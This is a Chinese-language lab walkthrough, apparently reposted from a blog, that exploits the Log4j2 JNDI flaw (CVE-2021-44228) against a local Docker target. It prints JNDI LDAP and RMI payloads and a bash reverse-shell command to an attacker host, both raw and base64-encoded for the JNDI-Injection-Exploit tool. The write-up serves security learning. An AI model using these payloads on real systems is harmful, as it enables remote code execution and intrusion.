0x00 漏洞介紹
Apache Log4j2是一個Java的日志組件,在特定的版本中由于其啟用了lookup功能,從而導致產生遠程代碼執行漏洞,
影響版本:Apache Log4j2 2.0-beta9 - 2.15.0(不包括安全版本 2.12.2、2.12.3 和 2.3.1)
漏洞編號:CVE-2021-44228
0x01 環境準備
Kali:192.168.100.100
靶機:192.168.100.101
0x02 靶場搭建
使用docker搭建vulfocus的漏洞靶場:
docker pull vulfocus/log4j2-rce-2021-12-09:latest
docker run -d -p 80:8080 vulfocus/log4j2-rce-2021-12-09:latest
瀏覽器訪問http://192.168.100.101,部署成功:

0x03 DNSLog驗證
通過DNSLog平臺獲取到域名ky28eo.dnslog.cnn,構造payload:${jndi:ldap://ky28eo.dnslog.cn},瀏覽器點擊?????并使用Burpsuite進行抓包并替換payload引數,此時若直接發包會導致服務器400錯誤:

通過Burpsuite自帶的編碼工具對其進行URL編碼:

編碼后再次發送請求包:

在DNSLog網站成功接收到決議記錄:

0x04 JNDI注入反彈shell
使用JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar進行漏洞利用:
下載地址:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
使用方式:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar [-C] [command] [-A] [address]
反彈shell指令:
bash -i >& /dev/tcp/ip/port 0>&1
此處kali的ip為192.168.100.100,port可使用任意未被占用的埠,此處指定為4444:
bash -i >& /dev/tcp/192.168.100.100/4444 0>&1
將此條命令進行Java Runtime Bash 編碼:
編碼地址:https://www.jackson-t.ca/runtime-exec-payloads.html
編碼后的命令通過-C引數輸入JNDI工具,通過通過-A引數指定kali的ip地址:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEwMC4xMDAvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.100.100

在新的視窗監聽4444埠:

替換工具生成的payload:rmi://192.168.100.100:1099/ymo5o3 到Burpsuite:


編碼后發送到靶機:

kali的監聽視窗成功接收到反彈的shell:

文章所分享內容僅用于技術交流,禁止用于違法途徑!
作者:Loongten,轉載請注明原文鏈接:https://www.cnblogs.com/loongten/p/15822195.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/415263.html
標籤:其他
下一篇:MongoDB 副本集
